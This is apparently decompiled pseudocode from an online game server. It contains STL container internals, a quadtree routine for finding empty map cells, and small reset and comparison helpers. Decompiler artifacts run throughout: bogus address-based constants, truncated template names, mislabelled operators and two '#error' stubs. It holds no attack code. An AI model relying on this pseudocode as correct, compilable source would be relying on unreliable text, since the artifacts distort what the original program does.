AbnormalStateContainer::AbstateElementInObject *v22; // ST20_4@31 unsigned int v23; // esi@31 int v24; // [sp+0h] [bp-88h]@1 SkillEffectApply::SkillBlastEffect _Tmp; // [sp+Ch] [bp-7Ch]@1 int *v26; // [sp+78h] [bp-10h]@1 int v27; // [sp+84h] [bp-4h]@22 AbnormalStateContainer::AbstateElementInObject *_Wherea; // [sp+90h] [bp+8h]@32 AbnormalStateContainer::AbstateElementInObject *_Ptr; // [sp+94h] [bp+Ch]@22 void *_Newvec; // [sp+98h] [bp+10h]@22 AbnormalStateContainer::AbstateElementInObject *_Newveca; // [sp+98h] [bp+10h]@30 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v26 = &v24; if ( v5 ) { v7 = (signed int)((unsigned __int64)(1272582903i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[363].esc_abstate.buffer[-v9 + 14623] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v10 = v4->_Mylast - v5; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = (AbnormalStateContainer::AbstateElementInObject *)v4->_Mylast; v20 = _Where; _Newveca = (AbnormalStateContainer::AbstateElementInObject *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 108 >= _Count ) { _Wherea = &v19[-_Count]; v4->_Mylast = (SkillEffectApply::SkillBlastEffect *)std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( &v19[-_Count], v19, v19, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 108 * _Count)); std::copy_backward( *(AbnormalStateContainer::AbstateElementInObject **)&v20, _Wherea, _Newveca); std::fill( *(AbnormalStateContainer::AbstateElementInObject **)&v20, (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&v20 + 108 * _Count), (AbnormalStateContainer::AbstateElementInObject *)&_Tmp); } else { std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, v19, (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&_Where + 108 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)(108 * _Count)); v21 = v4->_Mylast; v22 = (AbnormalStateContainer::AbstateElementInObject *)v4->_Mylast; v27 = 2; std::vector>::_Ufill( (std::vector > *)v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 108, (AbnormalStateContainer::AbstateElementInObject *)&_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (SkillEffectApply::SkillBlastEffect *)v23; std::fill( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)(v23 - 108 * _Count), (AbnormalStateContainer::AbstateElementInObject *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[363].esc_abstate.buffer[-(v6 >> 1) + 14623] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size((std::vector > *)v4); _Newvec = operator new(108 * v11); v13 = (AbnormalStateContainer::AbstateElementInObject *)v4->_Myfirst; v27 = 0; _Ptr = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v13, *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)_Newvec, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, (AbnormalStateContainer::AbstateElementInObject *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)v4->_Mylast, &_Ptr[v8], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + v8; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v4->_Myend = (SkillEffectApply::SkillBlastEffect *)((char *)_Newvec + 108 * v11); v4->_Mylast = (SkillEffectApply::SkillBlastEffect *)((char *)_Newvec + 108 * v16); v4->_Myfirst = (SkillEffectApply::SkillBlastEffect *)_Newvec; } } } //----- (00430190) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage _Val) { PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 std::vector >::iterator v6; // ebp@10 PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *v7; // edi@11 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 ) { v6 = (std::vector >::iterator)this->_Mylast; if ( _Newsize < this->_Mylast - v3 ) { v7 = &v3[_Newsize]; if ( v7 != (PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v6 ) this->_Mylast = std::_Copy_opt( v6, v6, v7, (std::_Nonscalar_ptr_iterator_tag)_Newsize); } } } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00430240) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v4; // edi@1 SkillEffectApply::SkillBlastEffect *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1272582903i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (004302B0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SkillEffectApply::SkillBlastEffect _Val) { SkillEffectApply::SkillBlastEffect *v3; // edi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (00430350) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillDamageSender::SkillDamageSender(SkillEffectApply::SkillDamageSender *this) { this->sds_List._Myfirst = 0; this->sds_List._Mylast = 0; this->sds_List._Myend = 0; std::vector>::reserve( &this->sds_List, 0x32u); } //----- (004303A0) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillDamageSender::sds_Initialize(SkillEffectApply::SkillDamageSender *this) { std::vector > *v1; // esi@1 _BYTE v2[14]; // ST04_14@1 v1 = (std::vector > *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SkillEffectApply::SkillDamageSender::sds_Initialize"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SkillEffectApply::SkillDamageSender::sds_Initialize"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v2 = 0; *(_TBYTE *)&v2[4] = 0.0; std::vector>::resize( v1, 0, *(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *)v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SkillEffectApply::SkillDamageSender::sds_Initialize"); } //----- (00430450) -------------------------------------------------------- void __thiscall SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(SkillEffectApply::SkillBlastEffectContainer *this) { this->sbec_List._Myfirst = 0; this->sbec_List._Mylast = 0; this->sbec_List._Myend = 0; std::vector>::reserve( &this->sbec_List, 0x64u); } //----- (004304A0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Val) { std::vector > *v2; // esi@1 SkillEffectApply::SkillBlastEffect *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 SkillEffectApply::SkillBlastEffect *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1272582903i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 5; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( (AbnormalStateContainer::AbstateElementInObject *)v2->_Mylast, 1u, (AbnormalStateContainer::AbstateElementInObject *)_Val, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00430530) -------------------------------------------------------- #error "430530: undefined or illegal type '#615' (funcsize=371)" //----- (00430AA0) -------------------------------------------------------- #error "430AA0: undefined or illegal type '#615' (funcsize=283)" //----- (00430EE0) -------------------------------------------------------- void __thiscall BitSet::BitSet(BitSet *this, int maxbit) { int v2; // eax@1 this->bs_maxbit = maxbit; v2 = (maxbit + 7) / 8; this->bs_maxbyte = v2; this->bs_bitlist = (char *)operator new(v2); } //----- (00430F10) -------------------------------------------------------- void __thiscall BitSet::bs_clear(BitSet *this) { unsigned int v1; // eax@1 v1 = 0; if ( this->bs_maxbyte ) { do this->bs_bitlist[v1++] = 0; while ( v1 < this->bs_maxbyte ); } } //----- (00430F30) -------------------------------------------------------- int __thiscall Name3::operator__(Name3 *this, Name3 *nm) { return *(_DWORD *)&this->n3_name[0] == *(_DWORD *)&nm->n3_name[0] && *(_DWORD *)&this->n3_name[4] == *(_DWORD *)&nm->n3_name[4] && *(_DWORD *)&this->n3_name[8] == *(_DWORD *)&nm->n3_name[8]; } //----- (00430F60) -------------------------------------------------------- bool __cdecl BlockDistribute::BlockingDistribute::bd_Inactiv(BlockDistribute::BlockingDistribute *bd) { return bd->bd_Act == 0; } //----- (00430F70) -------------------------------------------------------- char __thiscall BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(BlockDistribute::BlockingDistribute *this, SHINE_XY_TYPE *xy) { signed int v2; // esi@2 signed int v3; // eax@2 char *v4; // edi@2 int v5; // edx@5 unsigned int v6; // edi@7 unsigned int v7; // eax@8 char *v8; // eax@8 int v9; // edx@8 int v10; // edx@8 signed int v11; // eax@8 int v12; // esi@9 char *v13; // edx@12 __int64 v14; // qax@17 __int64 v15; // qax@17 int emptycellnum; // [sp+10h] [bp-10h]@4 int v18; // [sp+14h] [bp-Ch]@7 int v19; // [sp+18h] [bp-8h]@7 int v20; // [sp+1Ch] [bp-4h]@7 if ( this->bd_Brenchs ) { while ( 2 ) { v2 = 0; v3 = 0; v4 = (char *)this->bd_Brench; do { if ( *(_DWORD *)v4 ) { v5 = *(_WORD *)(*(_DWORD *)v4 + 26); *(&emptycellnum + v3) = v5; v2 += v5; } else { *(&emptycellnum + v3) = 0; } ++v3; v4 += 4; } while ( v3 < 4 ); emptycellnum = 1000 * emptycellnum / v2; v18 = 1000 * v18 / v2; v19 = 1000 * v19 / v2; v6 = 0; v20 = 1000 * v20 / v2; LABEL_8: v7 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v7; v8 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v7]]; v9 = *((_DWORD *)v8 + 8193) & (*((_DWORD *)v8 + 8192) + 1); *((_DWORD *)v8 + 8192) = v9; v10 = *(_WORD *)&v8[2 * v9]; v11 = 0; while ( 1 ) { v12 = *(&emptycellnum + v11); if ( v10 < v12 ) break; v10 -= v12; ++v11; if ( v11 >= 4 ) { ++v6; if ( v6 < 0xA ) goto LABEL_8; v11 = 0; v13 = (char *)this->bd_Brench; while ( v11 < 4 ) { if ( *(_DWORD *)v13 ) goto LABEL_16; ++v11; v13 += 4; } return 0; } } LABEL_16: this = this->bd_Brench[v11]; if ( this->bd_Brenchs ) continue; break; } } v14 = this->bd_Top + this->bd_Bottom; xy->x = ((signed int)v14 - HIDWORD(v14)) >> 1; v15 = this->bd_Left + this->bd_Right; xy->y = ((signed int)v15 - HIDWORD(v15)) >> 1; return 1; } //----- (004310C0) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistribute::_BlockingDistribute(BlockDistribute::BlockingDistribute *this) { BlockDistribute::BlockingDistribute *v1; // eax@1 BlockDistribute::BlockingDistribute *v2; // eax@3 BlockDistribute::BlockingDistribute *v3; // eax@5 BlockDistribute::BlockingDistribute *v4; // ecx@7 v1 = this->bd_Brench[0]; if ( v1 ) v1->bd_Act = 0; v2 = this->bd_Brench[1]; if ( v2 ) v2->bd_Act = 0; v3 = this->bd_Brench[2]; if ( v3 ) v3->bd_Act = 0; v4 = this->bd_Brench[3]; if ( v4 ) v4->bd_Act = 0; } //----- (004310F0) -------------------------------------------------------- void __thiscall BlockDistribute::BlockDistributeManager::BlockDistributeManager(BlockDistribute::BlockDistributeManager *this) { BlockDistribute::BlockDistributeManager *v1; // ebp@1 int v2; // esi@1 signed int v3; // edi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x10u, 64, (void (__thiscall *)(void *))KQRegenTable::Element::Element, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = (int)&v1->bdm_Array[0].mapid.n3_name[4]; v3 = 64; do { *(_DWORD *)(v2 + 4) = 0; *(_DWORD *)v2 = 0; *(_DWORD *)(v2 - 4) = 0; strncpy((char *)(v2 - 4), byte_635E1E, 0xCu); *(_DWORD *)(v2 + 8) = 0; v2 += 16; --v3; } while ( v3 ); } //----- (00431140) -------------------------------------------------------- void __thiscall BlockDistribute::BlockDistributeManager::_BlockDistributeManager(BlockDistribute::BlockDistributeManager *this) { char *v1; // eax@1 signed int v2; // esi@1 int v3; // edx@2 int v4; // edx@6 int v5; // edx@8 v1 = (char *)&this->bdm_Array[1].block; v2 = 16; do { v3 = *((_DWORD *)v1 - 4); if ( v3 ) *(_BYTE *)(v3 + 28) = 0; if ( *(_DWORD *)v1 ) *(_BYTE *)(*(_DWORD *)v1 + 28) = 0; v4 = *((_DWORD *)v1 + 4); if ( v4 ) *(_BYTE *)(v4 + 28) = 0; v5 = *((_DWORD *)v1 + 8); if ( v5 ) *(_BYTE *)(v5 + 28) = 0; v1 += 64; --v2; } while ( v2 ); _eh_vector_destructor_iterator_( this, 0x10u, 64, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00431190) -------------------------------------------------------- void __thiscall std::_List_nod>::_Node::__Node(std::_List_nod >::_Node *this) { BlockDistribute::BlockingDistribute *v1; // eax@1 BlockDistribute::BlockingDistribute *v2; // eax@3 BlockDistribute::BlockingDistribute *v3; // eax@5 BlockDistribute::BlockingDistribute *v4; // ecx@7 v1 = this->_Myval.bd_Brench[0]; if ( v1 ) v1->bd_Act = 0; v2 = this->_Myval.bd_Brench[1]; if ( v2 ) v2->bd_Act = 0; v3 = this->_Myval.bd_Brench[2]; if ( v3 ) v3->bd_Act = 0; v4 = this->_Myval.bd_Brench[3]; if ( v4 ) v4->bd_Act = 0; } //----- (004311C0) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0x28u); if ( result ) result->_Next = result; if ( result != (std::_List_nod >::_Node *)-4 ) result->_Prev = result; return result; } //----- (004311E0) -------------------------------------------------------- std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, BlockDistribute::BlockingDistribute *_Val) { std::_List_nod >::_Node *result; // eax@1 result = (std::_List_nod >::_Node *)operator new(0x28u); if ( result ) { result->_Next = _Next; result->_Prev = _Prev; memcpy(&result->_Myval, _Val, sizeof(result->_Myval)); } return result; } //----- (00431210) -------------------------------------------------------- void __thiscall std::list>::clear(std::list > *this) { std::list > *v1; // edi@1 std::_List_nod >::_Node *v2; // eax@1 std::_List_nod >::_Node *v3; // esi@1 std::_List_nod >::_Node *v4; // eax@1 std::_List_nod >::_Node *v5; // ebx@2 v1 = this; v2 = this->_Myhead; v3 = v2->_Next; v2->_Next = v2; v4 = this->_Myhead; v4->_Prev = v4; this->_Mysize = 0; if ( v3 != v4 ) { do { v5 = v3->_Next; std::_List_nod>::_Node::__Node(v3); operator delete(v3); v3 = v5; } while ( v5 != v1->_Myhead ); } } //----- (00431250) -------------------------------------------------------- void __thiscall std::list>::remove_if(std::list > *this, bool (__cdecl *_Pred)(BlockDistribute::BlockingDistribute *)) { std::list > *v2; // edi@1 std::_List_nod >::_Node *v3; // ebp@1 std::_List_nod >::_Node *v4; // esi@1 std::_List_nod >::_Node *v5; // ebx@3 v2 = this; v3 = this->_Myhead; v4 = v3->_Next; while ( v4 != v3 ) { if ( _Pred(&v4->_Myval) ) { v5 = v4->_Next; if ( v4 != v2->_Myhead ) { v4->_Prev->_Next = v5; v4->_Next->_Prev = v4->_Prev; std::_List_nod>::_Node::__Node(v4); operator delete(v4); --v2->_Mysize; } v4 = v5; } else { v4 = v4->_Next; } } } //----- (004312B0) -------------------------------------------------------- void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count) { unsigned int v2; // eax@1 std::basic_string,std::allocator > thisa; // [sp+4h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+20h] [bp-34h]@2 int v5; // [sp+50h] [bp-4h]@2 v2 = this->_Mysize; if ( (unsigned int)&wholesaver.ws_savestore[1485].esc_skill.buffer[-v2 + 27531] < _Count ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "list too long", 0x10u); v5 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } this->_Mysize = _Count + v2; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00431350) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistributeList::BlockingDistributeList(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 v1 = this; this->bdl_List._Myhead = std::list>::_Buynode(&this->bdl_List); v1->bdl_List._Mysize = 0; } //----- (00431370) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistributeList::_BlockingDistributeList(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 v1 = this; std::list>::clear(&this->bdl_List); operator delete(v1->bdl_List._Myhead); v1->bdl_List._Myhead = 0; } //----- (00431390) -------------------------------------------------------- BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockingDistributeList::bdl_New(BlockDistribute::BlockingDistributeList *this) { BlockDistribute::BlockingDistributeList *v1; // esi@1 std::_List_nod >::_Node *v2; // edi@1 std::_List_nod >::_Node *v3; // ecx@1 std::_List_nod >::_Node *v4; // ebx@1 BlockDistribute::BlockingDistribute *result; // eax@1 BlockDistribute::BlockingDistribute _Val; // [sp+Ch] [bp-2Ch]@1 int v7; // [sp+34h] [bp-4h]@1 v1 = this; _Val.bd_Act = 0; _Val.bd_Brench[3] = 0; _Val.bd_Brench[2] = 0; _Val.bd_Brench[1] = 0; _Val.bd_Brench[0] = 0; v2 = this->bdl_List._Myhead; v3 = v2->_Prev; v7 = 0; v4 = std::list>::_Buynode( &v1->bdl_List, v2, v3, &_Val); std::list>::_Incsize( &v1->bdl_List, 1u); v2->_Prev = v4; v4->_Prev->_Next = v4; result = &v1->bdl_List._Myhead->_Prev->_Myval; v1->bdl_List._Myhead->_Prev->_Myval.bd_Act = 1; return result; } //----- (00431410) -------------------------------------------------------- void __thiscall BlockDistribute::BlockingDistribute::bd_Initialize(BlockDistribute::BlockingDistribute *this, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right) { int v6; // ebx@1 BlockDistribute::BlockingDistribute *v7; // esi@1 BlockDistribute::BlockingDistribute *v8; // eax@10 int v9; // edi@10 int v10; // ebp@10 BlockDistribute::BlockingDistribute *v11; // eax@10 BlockDistribute::BlockingDistribute *v12; // eax@10 BlockDistribute::BlockingDistribute *v13; // eax@10 BlockDistribute::BlockingDistribute *v14; // eax@10 BlockDistribute::BlockingDistribute *v15; // eax@12 BlockDistribute::BlockingDistribute *v16; // eax@14 BlockDistribute::BlockingDistribute *v17; // eax@16 int v18; // [sp+10h] [bp-4h]@7 int topa; // [sp+1Ch] [bp+8h]@8 v6 = top; v7 = this; if ( top >= 60000 || bottom >= 60000 || left >= 60000 || right >= 60000 ) { AssertClass::ac_AssertFail(&shineassert, "Too small size", 0); ShineExit("BlockDistribute::BlockingDistribute::BlockingDistribute"); } v18 = (unsigned __int16)top; this->bd_Top = top; this->bd_Bottom = bottom; this->bd_Left = left; this->bd_Right = right; if ( (unsigned __int16)top - (unsigned __int16)bottom >= 100 || (topa = (unsigned __int16)right, (unsigned __int16)right - (unsigned __int16)left >= 100) ) { v8 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v9 = (left + right) / 2; v10 = (v6 + bottom) / 2; v7->bd_Brench[0] = v8; BlockDistribute::BlockingDistribute::bd_Initialize(v8, blockinfo, v6, v10, left, v9); v11 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[1] = v11; BlockDistribute::BlockingDistribute::bd_Initialize(v11, blockinfo, v6, v10, v9, right); v12 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[2] = v12; BlockDistribute::BlockingDistribute::bd_Initialize(v12, blockinfo, v10, bottom, left, v9); v13 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); v7->bd_Brench[3] = v13; BlockDistribute::BlockingDistribute::bd_Initialize(v13, blockinfo, v10, bottom, v9, right); v14 = v7->bd_Brench[0]; if ( !v14->bd_EmptyCellNum ) { v14->bd_Act = 0; v7->bd_Brench[0] = 0; } v15 = v7->bd_Brench[1]; if ( !v15->bd_EmptyCellNum ) { v15->bd_Act = 0; v7->bd_Brench[1] = 0; } v16 = v7->bd_Brench[2]; if ( !v16->bd_EmptyCellNum ) { v16->bd_Act = 0; v7->bd_Brench[2] = 0; } v17 = v7->bd_Brench[3]; if ( !v17->bd_EmptyCellNum ) { v17->bd_Act = 0; v7->bd_Brench[3] = 0; } v7->bd_EmptyCellNum = 0; v7->bd_Brenchs = 0; if ( v7->bd_Brench[0] ) { v7->bd_Brenchs = 1; v7->bd_EmptyCellNum = v7->bd_Brench[0]->bd_EmptyCellNum; } if ( v7->bd_Brench[1] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[1]->bd_EmptyCellNum; } if ( v7->bd_Brench[2] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[2]->bd_EmptyCellNum; } if ( v7->bd_Brench[3] ) { ++v7->bd_Brenchs; v7->bd_EmptyCellNum += v7->bd_Brench[3]->bd_EmptyCellNum; } } else { this->bd_EmptyCellNum = MapBlock::MapBlockInformation::mbi_IsMoveBlock( blockinfo, ((unsigned __int16)bottom + v18) / 2, (topa + (unsigned __int16)left) / 2) == 0; v7->bd_Brench[3] = 0; v7->bd_Brench[2] = 0; v7->bd_Brench[1] = 0; v7->bd_Brench[0] = 0; v7->bd_Brenchs = 0; } } //----- (00431620) -------------------------------------------------------- BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockDistributeManager::bdm_Find(BlockDistribute::BlockDistributeManager *this, Name3 *mapid, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right) { BlockDistribute::BlockDistributeManager *v7; // ebx@1 unsigned int v8; // esi@1 char *v9; // eax@1 char *v10; // esi@10 BlockDistribute::BlockingDistribute *v11; // eax@10 v7 = this; v8 = 0; v9 = &this->bdm_Array[0].mapid.n3_name[8]; do { if ( *((_DWORD *)v9 - 2) == *(_DWORD *)&mapid->n3_name[0] && *((_DWORD *)v9 - 1) == *(_DWORD *)&mapid->n3_name[4] && *(_DWORD *)v9 == *(_DWORD *)&mapid->n3_name[8] ) { MapBlock::MapDoorArray::mda_CloseAllDoor(&blockinfo->mbi_DoorBlockInform, blockinfo); return v7->bdm_Array[v8].block; } if ( !*((_DWORD *)v9 + 1) ) break; ++v8; v9 += 16; } while ( v8 < 0x40 ); if ( v8 >= 0x40 ) { AssertClass::ac_AssertFail( &shineassert, "BlockDistribute::BlockDistributeManager::bdm_Find : Too many BlockDistribute", 0); ShineExit("BlockDistribute::BlockDistributeManager::bdm_Find"); } v10 = (char *)this + 16 * v8; *(_QWORD *)v10 = *(_QWORD *)&mapid->n3_name[0]; *((_DWORD *)v10 + 2) = *(_DWORD *)&mapid->n3_name[8]; MapBlock::MapDoorArray::mda_CloseAllDoor(&blockinfo->mbi_DoorBlockInform, blockinfo); v11 = BlockDistribute::BlockingDistributeList::bdl_New(&g_BlockingDistributeList); *((_DWORD *)v10 + 3) = v11; BlockDistribute::BlockingDistribute::bd_Initialize(v11, blockinfo, top, bottom, left, right); std::list>::remove_if( &g_BlockingDistributeList.bdl_List, BlockDistribute::BlockingDistribute::bd_Inactiv); return (BlockDistribute::BlockingDistribute *)*((_DWORD *)v10 + 3); } //----- (00431710) -------------------------------------------------------- int __thiscall Name8::operator__(Name8 *this, Name8 *nm) { return *(_DWORD *)&this->n8_name[0] != *(_DWORD *)&nm->n8_name[0] || *(_DWORD *)&this->n8_name[4] != *(_DWORD *)&nm->n8_name[4] || *(_DWORD *)&this->n8_name[8] != *(_DWORD *)&nm->n8_name[8] || *(_DWORD *)&this->n8_name[12] != *(_DWORD *)&nm->n8_name[12] || *(_DWORD *)&this->n8_name[16] != *(_DWORD *)&nm->n8_name[16] || *(_DWORD *)&this->n8_name[20] != *(_DWORD *)&nm->n8_name[20] || *(_DWORD *)&this->n8_name[24] != *(_DWORD *)&nm->n8_name[24] || *(_DWORD *)&this->n8_name[28] != *(_DWORD *)&nm->n8_name[28]; } //----- (00431760) -------------------------------------------------------- void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset(PROTO_NC_CHAR_WEDDINGDATA_ACK *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = this->___u4.SubWhen._bf0; LOBYTE(this->When._bf0) = 0; this->When._bf0 = v2; this->header.clienthandle = -1; this->header.charregistnumber = -1; this->Status._bf0 = 0; *(_DWORD *)&this->gap12[11] = 0; *(_DWORD *)&this->gap12[7] = 0; *(_DWORD *)&this->gap12[3] = 0; *(_DWORD *)&this->Partner._bf0 = 0; strncpy(&this->Partner._bf0, byte_635E1E, 0x10u); v1->WeddingCount = 0; v1->RefusalCount = 0; *(_DWORD *)&v1->gap12[15] = -1; } //----- (004317B0) -------------------------------------------------------- void __thiscall BattleStat::bs_Clear(BattleStat *this) { this->bs_KnockDownNum = 0; this->bs_HittedNum = 0; this->bs_CriticalNum = 0; this->bs_SkillBlast = 0; this->bs_HealAmount = 0; this->bs_DamageAmount = 0; this->bs_KillScore = 0; this->bs_Dead = 0; this->bs_Kill = 0; this->bs_Score = 10000; } //----- (004317E0) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this) { MobAttackSequence::AttackElement4Mob *v1; // esi@1 v1 = this; MobAttackSequence::SkillChangeList::SkillChangeList(&this->ae4m_OutOfRangeBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_HPLowBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_TargetStateBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_SaveNextSkillBody); MobAttackSequence::SkillChangeList::SkillChangeList(&v1->ae4m_HPLow_ChangeOrderBody); } //----- (00431860) -------------------------------------------------------- void __thiscall MobAttackSequence::AttackElement4Mob::_AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this) 